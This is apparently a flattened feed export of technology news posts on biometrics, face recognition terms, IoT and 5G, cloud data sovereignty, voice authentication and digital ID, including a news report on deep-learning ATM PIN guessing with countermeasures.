Frequently, what people say does not fully correspond to their bodies' physical reactions. A physiological response occurs before someone actually expresses what they are feeling. As a result, biometrics is a valuable tool in neuromarketing.

Here are some of the biometric tools used in neuromarketing and their functions:

Facial Coding

The Facial Action Coding System (FACS) is a classification system for human facial expressions. It allows practitioners to decode the underlying emotion that registers on the human face in response to stimuli, regardless of how brief the exposure is.

At any given time, facial coding can tell us whether the emotional charge is positive, negative, or neutral. It also sorts the expressions into six different categories.

Researchers can use effective facial coding to gauge consumers' emotional reactions to advertisements, products, or brand perception. While facial coding has a lot of potential in marketing research, some people are still skeptical and consider it to be a bit too subjective and unreliable.

Eye-Tracking

Eye-tracking is a method of determining how interested someone is in what they see. It enables researchers to track where participants' eyes travel as they view advertisements online or on
television. It also tracks where participants' eyes travel as they view websites, prints, or any other form of media. Without relying on verbal responses, marketing researchers can determine
which elements are noticed first and most focused on most. Eye movement tracking is an excellent way to tell if a person is paying attention. On the other hand, the technique is unlikely to be helpful in understanding or predicting consumer recall and behavior.

Galvanic Skin Response (GSR)

The galvanic skin response is an excellent predictor of emotional arousal, indicating how strong the emotional charge is. However, it does not disclose emotional expression. Hence, we can't tell whether the emotions are positive or negative, just like eye tracking. Neuromarketers should combine GSR with facial coding to accurately assess this critical dimension. The key benefits of GSR include its low cost, ease of measurement, and the fact that it is simple to use. It's a less invasive device. Aside from the inability to measure expression, its main flaw is its lack of accuracy. There is a 1 to 5-second delay between the presentation of the stimulus and the phasic or skin conductance response (SCR).

Heart Rate Monitoring

Marketing experts can use an electrocardiograph (ECG) device to analyze heart rate, and it helps to understand physiological responses better. The idea is that these physiological responses, like other biometric measures, are thought to underpin emotions and may or may not be visible to people on a conscious level.

Anxiety, relief, and emotional fatigue reactions are all studied to give marketers a better understanding of how a respondent reacts to a set of variables. This allows researchers to see how advertisements affect the brain's unconscious, customer behavior, and emotional regions.

Functional Magnetic Resonance Imaging(FMRI)

FMRI is a new type of biometric tool in neuromarketing that is gaining a lot of attention. The FMRI scanning technique aids in understanding how stimulation is analyzed in the brain, and it
also helps to know which research technique works best and why. For instance, FMRI shows the timing of when consumers see a price that can completely change how they buy. The neural data suggested that when the price came first, the decision question shifted from; do I like this? is this worth it? The researchers were able to predict which types of purchases would benefit from seeing the prices of products early on.

It's possible that FMRI aids in determining which of several options has the most remarkable customer attraction during the product design phase. Similarly, FMRI data may assist in selecting the most effective messages in promotional campaigns. Such as movie trailers or other forms of advertising.

Moreso, FMRI can be used to better understand how marketing actions, whether consciously or subconsciously, alter people's preferences and experiences. This type of market research, on the other hand, is relatively new, and it has some methodological and sampling issues.

Electroencephalography (EEG)

The purpose of this device is to track changes in brain wave activity. It is easily accessible and provides accurate and valid information on how the human brain works. Electroencephalography provides far more detailed diagnostic insights when compared to GSR or facial coding due to its superior temporal resolution. It also provides a more comprehensive set of metrics for measuring tiredness. It also measures attention, engagement, and workload, and researchers can tell which brain parts are active while respondents are performing a task or responding to stimuli.

Roles Of Biometrics In Neuromarketing

Biometrics helps marketing researchers to combine traditional research methodology, such as when researchers interview people about thoughts and feelings with non-verbal measures. Researchers can use biometrics to tap into consumers' minds as they process and subconsciously respond to messaging and overall branding.

Biometrics captures unconscious or subconscious responses to marketing media. The researcher should constantly evaluate the benefits of using biometrics in neuromarketing against practical issues, such as access to equipment, expertise, intrusiveness to research participants, and cost.

Conclusion

Biometric tools are most effective when used in conjunction with one another to reveal different aspects of cognition, emotion, and behavior. Eye tracking, GSR, and facial expression, or eye-tracking and EEG, are two combinations to consider. These tools provide a clear, multi-faceted understanding of respondents' advertising engagement. However, none of the techniques can dive deeply into the minds of the consumers.

To understand what drives emotions and determines consumers' reactions, we still need qualitative and quantitative research but combining these methods with biometrics enables researchers to get a far more accurate response.

# data[].attributes.attachment_link.title
The Role Of Biometrics In Neuromarketing - M2SYS Blog On Biometric Technology

# data[].attributes.attachment_link.description
The introduction of neuroscience and cognitive science to marketing is known as neuromarketing. This form of market research can uncover customer needs and motivations, revealing preferences that traditional methods such as surveys and focus groups cannot. Biometrics is a new branch of neuromarketing. Biometrics employs various technologies and applications to better understand participants' cognitive and emotional reactions.

# data[].attributes.headline
EMVCo adds support for elliptic curve cryptography

# data[].attributes.subject
EMVCo adds support for elliptic curve cryptography

# data[].attributes.body
#paymentcard #emvco

# data[].attributes.attachment_link.title
EMVCo adds support for elliptic curve cryptography

# data[].attributes.attachment_link.description
EMVCo has issued a specification bulletin that adds support for elliptic curve cryptography (ECC) to its EMV contact chip specifications

# data[].attributes.attachment_link.embed_code
EMVCo adds support for elliptic curve cryptography

# data[].attributes.headline
Face Recognition Technology: Commonly Used Terms

# data[].attributes.subject
Face Recognition Technology: Commonly Used Terms

# data[].attributes.body
#biometric #facialrecognition

# data[].attributes.attachment_link.readable_text
As technology evolves at a dizzying speed, new uses and terminologies seem to develop daily. On this page, we attempt to define and disambiguate some of the most commonly used terms. face recognition

For more information on government use of face recognition and how to end it in your community, visit EFF's resource page.

Face detection: Determines whether an image includes a human face. Some government agencies use face detection to aid in obscuring identifiable faces before releasing video footage in response to requests for public records. As a result, many bans on government use of face recognition technology specifically exclude face detection for this purpose, provided that no information about the faces is collected or stored. Generally, this use does not raise significant privacy concerns.

Face recognition: Any collection and processing of faceprints, including both face matching and face analysis (two terms defined below). Face recognition raises significant digital rights concerns.

Faceprinting: A fundamental step in the process of face recognition, faceprinting is the automated analysis and translation of visible characteristics of a face into a unique mathematical representation of that face. Both collection and storage of this information raise privacy and safety concerns.

Face matching: Any comparison of two or more faceprints. This includes face identification, face verification, face clustering, and face tracking (four terms defined below).

Compares (i) a single faceprint of an unknown person to (ii) a set of faceprints of known people. The goal is to identify the unknown person. Face identification may yield multiple results, sometimes with a "confidence" indicator showing how likely the system determines the returned image matches the unknown image.Face identification:

Compares (i) a single faceprint of a person seeking verification of their authorization to (ii) one or more faceprints of authorized individuals. The verified person might or might not be identified as a specific person; a system may verify that two faceprints belong to the same person without knowing who that person is. Face verification may be used to unlock a phone or to authorize a purchase. Face verification:

Compares all the faceprints in a collection of images to one another, in order to group the images containing a particular person or group of people. The clustered people might or might not then be identified as known individuals. For example, each of the people in a library of digital photos (whether a personal album or a police array of everyone at a protest) could have their various pictures automatically clustered into a discrete set.Face clustering:

Face tracking: Uses faceprints to follow the movements of a particular person through a physical space covered by one or more surveillance cameras, such as the interior of a store or the exterior sidewalks in a city's downtown. The tracked person might or might not be identified. The tracking might be real-time or based on historical footage.

Face analysis, also known as face inference: Any processing of a faceprint, without comparison to another individual's faceprint, to learn something about the person from whom the faceprint was extracted. Face analysis by itself will not identify or verify a person. Some face analysis purports to draw inferences about a person's demographics (such as race or gender), emotional or mental state (such as anger), behavioral characteristics, and even criminality.

For more information about the various kinds of face recognition, check out this more detailed post.

# data[].attributes.attachment_link.authors[].name
Adam Schwartz, Nathan Sheard, and Bennett Cyphers

# data[].attributes.attachment_link.title
Face Recognition Technology: Commonly Used Terms

# data[].attributes.attachment_link.description
As face recognition technology evolves at a dizzying speed, new uses and terminologies seem to develop daily. On this page, we attempt to define and disambiguate some of the most commonly used terms. For more information on government use of face recognition and how to end it in your community,...

# data[].attributes.headline
Face Recognition Isn’t Just Face Identification and Verification: It’s Also Photo Clustering, Race Analysis, Real-time Tracking, and More

# data[].attributes.subject
Face Recognition Isn’t Just Face Identification and Verification: It’s Also Photo Clustering, Race Analysis, Real-time Tracking, and More

# data[].attributes.body
#biometric #facialrecognition

# data[].attributes.attachment_link.authors[].name
Bennett Cyphers, Adam Schwartz, and Nathan Sheard

# data[].attributes.attachment_link.title
Face Recognition Isn’t Just Face Identification and Verification: It’s Also Photo Clustering, Race Analysis, Real-time Tracking, and More

# data[].attributes.attachment_link.description
Governments and corporations are tracking how we go about our lives with a unique marker that most of us cannot hide or change: our own faces. Across the country, communities are pushing back with laws that restrain this dangerous technology. In response, some governments and corporations are...

# data[].attributes.headline
Opt-in software-based government – Nationality as a Service (NaaS)

# data[].attributes.subject
Opt-in software-based government – Nationality as a Service (NaaS)

# data[].attributes.body
#cloud #cloudforgovernment

# data[].attributes.attachment_link.provider_name
IoT Now News - How to run an IoT enabled business

# data[].attributes.attachment_link.readable_text
The government functions to serve and represent its citizens, but around the world, citizens experience substandard public services with minimum transparency. The governments fail to support individuals and communities efficiently. The services provided in many parts, from education to health, are broken.

Reading this, some people might advocate the idea of bringing privatising public services. The privatisation of public services might ease the physical hassle one has to go through by large, but the controlling power lies with a handful of humans that people cannot trust, says Yash Mehta, an IoT and big data science specialist

Thus, currently, both systems fail to serve and represent the people. Then, what changes/measures can make citizens trust their elected government and offer services? The answer, perhaps, lies in something shaping and evolving a human life every day and can serve as a great assistant to its owners - Software.

To deliver a better public services experience, the government of many countries started to outsource software solutions. Consequently, the governments or leadership relies on third-party technologies or vendors ( Microsoft, Google) to help or empower their citizens.

These third-party technologies or vendors offer packaged programs for citizens designed with a one-size-fits-all approach. The approach is unfair to the citizens who have the right to receive services that fit their specific needs. The leadership requires to view in-house software development as a core competency to understand the evolving needs of the citizens. It is time to bring the disruption of software power into public services.

The need of the hour is a shift in focus on software development by opting into an open-source software society. An open-source software society is a technical expression of democracy that thrives on customised solutions for the demands. It allows people to exercise their right to know and contribute by writing changes to the software as required.

The citizens can exercise their rights by opting in the vision of a software-based society. In this way, citizens can become a part of the government which works for them and build trust in that system. The vision of opting in for a software-based society is what Owen Miller, the founder of the Non-Human Party, is calling Nationality as a Service (Naas).

Belonging from the software world, he believes that an open-source software-based society is the most practical way to tackle future uncertainties and build trust in the people. The open-source software allows society to take control and build the services that it deems to be necessary for its daily functioning, be that a social graph, a job network or a search engine. Thus, such a society can deliver high-quality services to its citizens.

In addition, a software-based country can indeed tap on issues like data privacy concerns, linguistic barriers, free expression, dubious or misleading information, etc. that remain unresolved due to the conventional structure of governance. A few countries started building on this idea a few years back, like Estonia. The Estonian government made reforms back in the 1990s to turn it into a digital society, a movement now known as ' e-Estonia'. This transformation includes 99% of public services being online, 96% of taxes being declared online, and 99.6% of banking transactions also taking place online.

The Non-Human Party says No to Bad Software Skills and Yes to a smarter civilisation they believe that it is not fair to offer dated and biased public-facing systems to the citizens. They deserve intelligent agents to serve society. These intelligent agents can be called software agents, bots, or robots (non-humans). They can serve as unbiased representatives of the citizens. Since the citizens contribute to the coding of the agents, they could be more trusted. The idea of software-based government believes in establishing a society that offers services by leveraging the power of software and offers an opportunity for citizens to opt into that society. The NaaS endeavors to bring a movement afoot for software services that are open source, and citizens contribute code to such software.

With software solutions, the party intends to build ergonomic architecture to create better occupational opportunities for the citizens. Software advances help bring in and formulate growth-driven strategies for society. Thus, shift the focus to the right issues and efficient ideas based on real-time data. A software-driven society holds the potential to transform into a unique industry, shaped by its resources and can tap on the current global opportunities. For example, any domestic software solution built by a country can be exported and monetised globally.

Unfortunately, the power of software is alien to many public representatives till today. The software world's unfamiliarity calls for the idea of NaaS. It offers citizens a proactive leadership that puts money and effort into building a country that hedges against future uncertainty. The idea of NaaS promises a powerful framework to expand evidence-based (data-based) understanding of policy choices, as well as directly improve service delivery.

The citizens across the globe deserve a government that focuses on digital capabilities, which includes embracing cutting-edge technology in governance and investing in R&D for building open-source software. The party reimagines the society as a smarter and more capable one with the intelligent agents rendering the services as per the needs of the people. These agents can help the country to compete exceptionally well with the global software market.

The world cannot ignore the presence and power of software solutions, but the Australian government is keeping a blind eye to the potential of that power. In a report, the Australian Academy of Science and the Australian Academy of Technology and Engineering have jointly issued an urgent call to action, asking the government to recognise the importance of emerging digital technologies. The lack of technological advancement is also evident in the many aspects of governance.

The public policies/laws are framed based on conventional methods conducted in silos. For example, the Australian government ignores the correlation of anthropometric data with many other human factors while defining the height thresholds in defense military recruitment. Such parameters lead to creating an inevitable bias towards people who belong to varied cultural backgrounds.

Thus, Australia demands leadership that intends to look at society with a holistic view. With a concept like NaaS, Australia can opt for a software-based society with improved transparency, responsiveness and accountability.
The author is Yash Mehta, an IoT and big data science specialist. Comment on this article below or via Twitter: @IoTNow_OR @jcIoTnow

# data[].attributes.attachment_link.title
Opt-in software-based government - Nationality as a Service (NaaS) | IoT Now News & Reports

# data[].attributes.attachment_link.description
The government functions to serve and represent its citizens, but around the world, citizens experience substandard public services with minimum transparency. The governments fail to support individuals and communities efficiently. The services provided in many parts, from education to health, are broken. Reading this, some people might advocate the idea of bringing privatising public services.

# data[].attributes.headline
Why is 5G a boon for enterprises exploring IoT development?

# data[].attributes.subject
Why is 5G a boon for enterprises exploring IoT development?

# data[].attributes.body
#5g

# data[].attributes.attachment_link.provider_name
IoT Now News - How to run an IoT enabled business

# data[].attributes.attachment_link.readable_text
There's an interesting analogy to understand IoT, the devices are the neurons all connecting to the giant brain called the internet. Every small device in this network is holding an important set of data. Now, the performance of this neural-like network will directly depend upon the efficiency of data transmission.

That's exactly what 5G is providing, a fast and sustainable network. It has arrived and it has arrived with remarkable improvements over its predecessor generation of bandwidths, says Yash Mehta, an IoT and big data science specialist. And while we are at it, 1/3rd of the world population will consume 5G bandwidths thereby becoming a contributing node to some IoT network, in some capacity.

But why exactly is 5G so important for IoT. Let's find out.

Faster signalling

In all honesty, 5G and IoT are complementary to each other. While all elements in an IoT network require strong signaling, 5G provides the necessary infrastructure through a technology called beamforming. It captures signals from multiple antennas and steers them towards a particular device.

Beamforming is effective because it can leap over physical obstacles such as walls thereby ensuring the uninterrupted transmission of signals. Previously, network signals were bound to lose strength.

Such concentrated delivery of high-quality signaling to drive an IoT ecosystem makes beamforming one of the most impactful rated 5G capabilities.

Next, the data receiving and transmitting capacity is another improvement over 4G. Previously, it was a fair success in some use cases. With 5G, enhanced MIMO (Multiple Input & Multiple Output) capabilities will become accessible for all. With a massively powerful bandwidth, MIMO supports antennas regardless of geographical conditions. This makes 5G and supportive applications such as IoT accessible to underprivileged areas.

More stable connections

For IoT, the stability of the network is more important than the speed. Uncertain downtimes of any sort not only disrupt the ecosystem operations but also put confidentiality to risk. Even in the simplest use case of home IoT with automated locks, CCTVs, appliances, etc., network uptime is the key. 5G networks just ensure the same. They can handle more devices, provide speed (10X) and build a reliable ecosystem of device communication.

So the next generation of IoT devices will benefit from low latency and high-speed connectivity that could drive more complicated operations. Take a manufacturing unit (IIoT) for example. It has a series of devices attached to remote monitoring, predictive analytics equipment and an automated assembly line. Manufacturers can revolutionise their production goals by embracing 5 G-backed IIoT landscape and accelerating their go-to-market game plans.

Remote inspection

Among many, a remote inspection of equipment and processes is the most popular IoT application. For example, sectors like Power and Energy have a vast spread of equipment at diverse locations. Transformers, Grids, Utility Poles etc. should be monitored consistently and avoid disruption of any kind. With IoT smart infrastructure, technicians can keep a remote check on the maintenance thereby cutting down on the physical visit to the site miles away. Likewise, railways can use IoT sensors to detect faults in tracks and raise alerts in a timely manner. Or, they could predict and broadcast train delays to all dependent stations on the route.

IBM's civil infrastructure is an interesting case study here. Using drones, the system will evaluate the sustainability of aging bridges, tunnels, road networks etc. The data captured from multiple devices is put to analytics and identify key areas of fault.

Likewise, drones can perform aerial monitoring of other city assets such as gas pipelines, utility wires, traffic lights etc. If executed smartly, such inspections can identify problematic areas and avoid mass disruptions.

What should you do?

Enterprises have a goldmine of opportunity to align device automation in their business process. While the industry is growing, those who make the first move will leave a lasting impact in the longer run. That being said, building an IoT vertical won't come easy. Since IoT has dependencies on multiple disciplines such as hardware, software etc. they must emphasize planning on paper before going on development floors.

Not to miss, there's difficulty in finding talented resources too. Unlike other technologies or digital products, you may lock horns with building the right team. In fact, most products don't arrive on time due to a mismatch in the skills required versus skills available. Amidst the chaos, plan your resources. Make use of IoT job alert marketplaces to enhance your reach. Also, make use of your social networking and other advertising channels to attract talent.

Conclusion

IoT is everywhere and growing like the World Wide Web. With 5G, enterprises must utilise the infrastructure, automate processes as far as possible and focus on innovating. Experts have it that bandwidths in 5G could be 10x faster than 4G and that's no less of a revolution. Therefore, without second thoughts, organisations, regardless of how small or big they are, should explore possibilities in this space.
The author is Yash Mehta, an IoT and big data science specialist. Comment on this article below or via Twitter: @IoTNow_OR @jcIoTnow

# data[].attributes.attachment_link.title
Why is 5G a boon for enterprises exploring IoT development? | IoT Now News & Reports

# data[].attributes.attachment_link.description
There's an interesting analogy to understand IoT, the devices are the neurons all connecting to the giant brain called the internet. Every small device in this network is holding an important set of data. Now, the performance of this neural-like network will directly depend upon the efficiency of data transmission.

# data[].attributes.body
#smartcard #rfid #iot

# data[].attributes.attachment_link.readable_text
Wiliot Introduces Company's Breakthrough "Sensing as a Service" Platform to the European Market at RFID & Wireless IoT's Tomorrow 2021 Trade Show

SAN DIEGO, October 20, 2021 - Wiliot, the Sensing as a Service company and Internet of Things (IoT) technology leader whose self-powered, stamp-sized computer is changing the relationship between manufacturers and their products, will debut its revolutionary Sensing as a Service platform to the European market at RFID & Wireless IoT's Tomorrow 2021 in Wiesbaden, Germany, as the company ramps up operations on the continent.

Having completed a $200 million series C round of funding and grown its executive leadership team to meet increasing demand for its platform and technology, Wiliot is now significantly expanding into Europe to serve like-minded companies dedicated to making global manufacturing and supply chains more sustainable.

# data[].attributes.attachment_link.title
Sensing as a Service Platform | IoT Council

# data[].attributes.attachment_link.description
Wiliot Introduces Company’s Breakthrough “Sensing as a Service” Platform to the European Market at RFID & Wireless IoT’s Tomorrow 2021 Trade Show

# data[].attributes.headline
Cloud Sovereignty: a Fashionable Trend or Vital Need?

# data[].attributes.subject
Cloud Sovereignty: a Fashionable Trend or Vital Need?

# data[].attributes.body
#cloud #cloudsecurity

# data[].attributes.attachment_link.readable_text
Cloud Sovereignty: a Fashionable Trend or Vital Need?

The number of newly founded NGOs announcing Sovereign Cloud development as their primary goal has vastly increased last year. The modern trend of sovereignty becomes the must-have of the season. What should you choose for your cloud data - to be trendy and protected or stay in the dark for your data safety? In fact, you have no choice and no right to risk.
Valuable Data
What exactly is data sovereignty in the cloud environment? How can we meet these present-day requirements? Data sovereignty refers to the jurisdictional control or legal authority that can assert data because it is subjected to the country's laws.

The main cloud sovereignty goals are protecting sensitive, private data and ensuring it remains under its owner's control. Most countries have jurisdiction on the matter, and it is evolving continuously and rapidly. There are mainly two basic requirements to cloud sovereignty varying from country to country. The cloud or/and a party controlling the cloud may have to be located within the country.

In certain situations, the requirements for cloud sovereignty are stringent. In China, for example, in many instances, it is obligatory for the cloud provider to be a Chinese company.

Data residency, in its turn, is a privacy and business prerogative and refers to the physical data storage location. This term is essential for commercial and taxation purposes. In the majority of cases, data residency mirrors data sovereignty rules and laws within a country.
Control and Access
The one who owns information owns the world. We still might not fully realize how crucial the importance of data is. Defining the "new oil", information from data gives enormous power to those who own it and opens vast opportunities for all the industries - from statistics to strategic business planning and decision making. Data influences a country's politics, economics, defense and foreign affairs. Today the availability or lack of the data can prevent national conflicts or provoke a war. Nobody doubts that the data becomes a new weapon. That's why it is so important to keep data controlled and sovereign to ensure it does not harm. Without laws that regulate adequate data sovereignty compliance, even your personal information - which is no less valuable than your money, could be easily abused.

But what kind of data falls under sovereignty jurisdiction and should be kept in the country? Independently of the industry, the first type of gathered data to be protected is personal data. It includes everything from a person's basic identity information - name, address, ID numbers. This kind of data is followed by web data such as location, IP address, cookie data and RFID tags, health and genetic data, biometric data, racial or ethnic data, political opinions and sexual orientation.

In our everyday life, we leave behind a great lot of information that grows into the Big Data phenomenon you indeed heard of. What might seem insignificant at first sight turns out to be a powerful tool at a closer look. So, the next time you're using a public cloud, ask yourself: "Are you certain that your customers that are ordering food on your platform are happy about their private data (what they had for dinner last night) to end up in the hands of a foreign government?" This bright example shows the importance of simple everyday information if we multiply it by the number of people in the country or the region. If you keep going through a person's daily life, you very quickly realize that just about anything and everything can be considered critical enough to stay in the country.
Data Travel Restrictions
As many IT trends originate from the USA, data sovereignty is no exception. Many credits its high rising popularity to Snowden's leak that exposed the US NSA PRISM spying program. The US government collected the data not only from US citizens but also from foreign nationals. Particularly, the US government has the authority to access the data stored within its territory regardless of data's origins. Remember also Facebook's Cambridge Analytica scandal, where users' data was collected without their explicit consent. These situations emphasized the importance of data sovereignty. Governments worldwide have been focusing on this matter to protect the countries and their citizens against information leaks and possible consequences.

The US has no general consumer data privacy law at the federal level. It does, however, have many industry-specific federal protection laws - for example, the 1994 Driver's Privacy Protection Act and the Video Privacy Protection Act. Laws also vary from state to state. California Consumer Privacy Act (CCPA) is one of the most prominent data privacy laws in the United States.

The European Union GDPR (General Data Protection Regulation) is a great example of data sovereignty law. Enacted in 2016, it governs the data protection and privacy of EU citizens and regulates the transfer of data outside the borders of the EU and the European Economic Area. However, countries like Germany and France have strict laws of their own to protect their citizens' data.

Germany has implemented the new German Privacy Act (BDSG-new) that restricts data transfers to third countries. Companies that process the people's personal information have to fulfill the German government's data protection requirements, even if they are located outside the country's borders.
Indonesia, Brunei, China, Vietnam, Russia
Laws related to data protection in these countries are probably amongst the strictest. They have stringent requirements that the data has to be stored on servers within the country.
Argentina, Brazil, Colombia, Peru and Uruguay
Data localization laws in Argentina, Brazil, Colombia, Peru and Uruguay are pretty mild. Some restrictions apply to international data transfers. However, these restrictions act only in certain conditions.
Instant Solution: Protected, Controlled and Sovereign Cloud
Within the last year or so various projects appeared to declare and serve the principles of Cloud Sovereignty, develop cloud data rules and restrictions on the country or region level. Some of them are supported by governments; others are initiatives of IT communities or business ideas that hope to become highly profitable in future. They promise data protection and cloud sovereignty. However, none of them can offer independent, controlled and secure cloud data management today, right now.

The immediate solution for any cloud sovereignty issues that can be met by the business already exists. The right answer is on the surface. Private clouds can easily satisfy all possible requirements to data protection, geographical localization, control, access and security. By its very nature, a private cloud would be located within the country. It means complete cloud sovereignty for enterprises. The private cloud workload and data are under the country's jurisdiction. Such a private cloud run on hardware physically placed within the state complies with all the laws and regulations; the data never cross the borders to leave the country.

If you wonder how to achieve data sovereignty in a cloud environment right away, Sardina Systems is here to help you. Our brainchild FishOS is an efficient cloud management software for enterprises that can run and serve the data inside your country. Thanks to our numerous partners, the necessary hardware and data center facilities can be provided and hosted in a short time. The diverse customer experience worldwide gave us the essential practical knowledge in delivering a cloud that fully meets the country's data sovereignty requirements.

What is your choice? To risk the business and wait when all the data protection rules are settled? Or run the business today, with the high level of data security and sovereignty in your private cloud environment?

The source: www.sardinasystems.com

# data[].attributes.attachment_link.title
Cloud Sovereignty: a Fashionable Trend or Vital Need?

# data[].attributes.attachment_link.description
Cloud Sovereignty: a Fashionable Trend or Vital Need? The number of newly founded NGOs announcing Sovereign Cloud development as their primary goal has vastly increased last year. The modern trend of sovereignty becomes the must-have of the season. What should you choose for your cloud data - to be trendy and protected or stay in the dark for your data safety?

# data[].attributes.headline
New Attack Lets Hackers Collect and Spoof Browser's Digital Fingerprints

# data[].attributes.subject
New Attack Lets Hackers Collect and Spoof Browser's Digital Fingerprints

# data[].attributes.body
#biometricsecurity #fingerprint

# data[].attributes.attachment_link.title
New Attack Lets Hackers Collect and Spoof Browser's Digital Fingerprints

# data[].attributes.attachment_link.description
Researchers find a new way that could let attackers collect browser's fingerprinting information and spoof it without the victim's awareness.

# data[].attributes.headline
Hardware-grade enterprise authentication without hardware: new SIM security solution for IAM

# data[].attributes.subject
Hardware-grade enterprise authentication without hardware: new SIM security solution for IAM

# data[].attributes.body
#hardwaresecurity

# data[].attributes.attachment_link.title
Hardware-grade enterprise authentication without hardware: new SIM security solution for IAM

# data[].attributes.attachment_link.description
Hardware-grade enterprise authentication without hardware: new SIM security solution for IAM

# data[].attributes.headline
The Ultimate SaaS Security Posture Management (SSPM) Checklist

# data[].attributes.subject
The Ultimate SaaS Security Posture Management (SSPM) Checklist

# data[].attributes.body
#cloud #cloudsecurity #cloudpentest

# data[].attributes.attachment_link.title
The Ultimate SaaS Security Posture Management (SSPM) Checklist

# data[].attributes.attachment_link.description
The Ultimate SaaS Security Posture Management (SSPM) Checklist: Critical capabilities to avoid SaaS misconfigurations

# data[].attributes.headline
Penetration Testing Your AWS Environment - A CTO's Guide

# data[].attributes.subject
Penetration Testing Your AWS Environment - A CTO's Guide

# data[].attributes.body
#cloud #cloudpentest

# data[].attributes.attachment_link.title
Penetration Testing Your AWS Environment - A CTO’s Guide

# data[].attributes.attachment_link.description
Penetration testing in AWS should be treated carefully, as it would be easy to spend time and money in the wrong places.

# data[].attributes.headline
Credit card PINs can be guessed even when covering the ATM pad

# data[].attributes.subject
Credit card PINs can be guessed even when covering the ATM pad

# data[].attributes.body
#smartcard #paymentcard

# data[].attributes.attachment_link.readable_text
Researchers have proven it's possible to train a special-purpose deep-learning algorithm that can guess 4-digit card PINs 41% of the time, even if the victim is covering the pad with their hands.

The attack requires the setting up of a replica of the target ATM because training the algorithm for the specific dimensions and key spacing of the different PIN pads is crucially important.

Next, the machine-learning model is trained to recognize pad presses and assign specific probabilities on a set of guesses, using video of people typing PINs on the ATM pad.

The entire chain of the attack
Source: Arxiv.org

For the experiment, the researchers collected 5,800 videos of 58 different people of diverse demographics, entering 4-digit and 5-digit PINs.

The machine that ran the prediction model was a Xeon E5-2670 with 128 GB of RAM and three Tesla K20m with 5GB of RAM each. Certainly not your average system, but well within a practical economical spectrum.

By using three tries, which is typically the maximum allowed number of attempts before the card is withheld, the researchers reconstructed the correct sequence for 5-digit PINs 30% of the time, and reached 41% for 4-digit PINs.

The model can exclude keys based on the non-typing hand coverage, and deduces the pressed digits from the movements of the other hand by evaluating the topological distance between two keys.

Prediction heat map for three attack scenarios
Source: Arxiv.org

The placement of the camera which captures the tries plays a key role, especially if recording left or right-handed individuals. Concealing a pinhole camera at the top of the ATM was determined to be the best approach for the attacker.

If the camera is capable of capturing audio too, the model could also use pressing sound feedback which is slightly different for each digit, thus making the predictions a lot more accurate.

PIN guesses and probabilities for each digit
Source: Arxiv.org

Countermeasures

This experiment proves that covering the PIN pad with the other hand is not sufficient to defend against deep learning-based attacks, but thankfully, there are some countermeasures you can deploy.

First, if your bank gives you the option to choose a 5-digit PIN instead of a 4-digit one, pick the longer one. It may be harder to remember, but it is a lot safer against attacks of this kind.

Secondly, the percentage of the hand coverage is significantly lowering the prediction accuracy. A coverage percentage of 75% gives an accuracy of 0.55 for each try, while a total coverage (100%) takes the accuracy down to 0.33.

A third countermeasure would be to serve users with a virtual and randomized keypad instead of the standardized mechanical one. This inevitably comes with usability drawbacks, but it's an excellent security measure.

Interestingly, the researchers used the experiment's video clips on a survey with 78 participants to determine if humans could also guess the concealed PINs and up to what point.

On average, the survey participants answered with an accuracy of only 7.92%, which is inefficient for carrying out attacks of this type.

# data[].attributes.attachment_link.title
Credit card PINs can be guessed even when covering the ATM pad

# data[].attributes.attachment_link.description
Researchers have proven it's possible to train a special-purpose deep-learning algorithm that can guess 4-digit card PINs 41% of the time, even if the victim is covering the pad with their hands. The attack requires the setting up of a replica of the target ATM because training the algorithm for the specific dimensions and key spacing of the different PIN pads is crucially important.

# data[].attributes.headline
Amazon Launches New Voice Authentication Service

# data[].attributes.subject
Amazon Launches New Voice Authentication Service

# data[].attributes.attachment_link.readable_text
Amazon Web Services (AWS) has officially launched its Amazon Connect Voice ID service for contact centers. The feature was previously available in a preview format, but is now Generally Available to customers in Europe, Asia Pacific, and the United States.

The Voice ID feature is an authentication tool that was designed to verify the identities of customers over the phone. The solution needs about 30 seconds of speech to create a voice print. The caller's voice will then be compared to that registered template the next time they call in, and Voice ID will need five to ten seconds to confirm the match.

Voice ID will assign a risk score to each interaction, giving operators a chance to intervene if the voice in the current session does not seem to match the original template. The solution operates passively in the background, and does not require the use of any keywords or phrases for enrollment or subsequent authentication.

Amazon is not marketing Voice ID as a biometric solution, though it seems to be a biometric voice recognition solution in everything but name. In that regard, Voice ID's voice prints are based on rhythm, pitch, tone, and other vocal characteristics.

The Voice ID service is being offered on a monthly basis, with Amazon charging $0.025 each time someone is enrolled or verified, and each time it performs a fraud check. However, interested customers can take advantage of a Free Tier that offers 180 Voice ID transactions per month for the duration of the one-year trial period. End users will need to opt-in with a BIPA Consent Acknowledgement form, and can opt out and delete their voiceprints at any time. Amazon itself was hit with a BIPA lawsuit back in 2019, and is clearly taking steps to avoid that kind of legal liability moving forward.

Voice ID is being rolled out alongside an Amazon Connect Wisdom service that transcribes and analyzes calls to optimize performance and reduce the administrative burden on agents. Amazon Connect Voice ID will be competing with voice recognition solutions from other developers, such as the Auraya voice offering built specifically for Amazon Connect. In the meantime, MarketsandMarkets has predicted that the demand for voice authentication solutions will help push the voice biometrics market to $3.9 billion by 2026.

Source: Opus Research

-

October 1, 2021 - by Eric Weiss

# data[].attributes.attachment_link.title
Amazon Launches New Voice Authentication Service - FindBiometrics

# data[].attributes.attachment_link.description
Amazon Web Services (AWS) has officially launched its Amazon Connect Voice ID service for contact centers. The feature was previously available in a preview format, but is now Generally Available to customers in Europe, Asia Pacific, and the United States. The Voice ID feature is an authentication tool that was designed to verify the identities of customers over the phone.

# data[].attributes.headline
Payments network to offer digital ID services from SecureKey to Canadians

# data[].attributes.subject
Payments network to offer digital ID services from SecureKey to Canadians

# data[].attributes.attachment_link.readable_text
Canadian interbank network Interac Corp. has acquired exclusive rights to use SecureKey 's digital ID services in Canada, and plans to develop new digital ID solutions for the public and private sector.

Interac gets SecureKey's Canadian business contracts and an exclusive license to the company's intellectual property, which it plans to use in its effort to bring a suite of leading digital identity and authentication capabilities to market, according to the announcement. The payment network says it is building a network to allow Canadians to securely share and verify digital identity information.

"At Interac, we believe that digital ID is the key to empowering all Canadians to participate equally and safely in the future of the digital economy," says Mark O'Connell, president and CEO of Interac. "Through this acquisition, we are proud to increase our investment in leading identification and authentication capabilities as we work to support businesses and governments across Canada in delivering secure and convenient digital ID experiences for Canadians."

Interac will take operation of SecureKey services like Verified.Me and the new Government Sign-In by Verified.Me, which can be used to access 280 government services.

SecureKey will continue operating its international business, while collaborating on digital ID and network development, and licensing deals in other markets, according to the announcement.

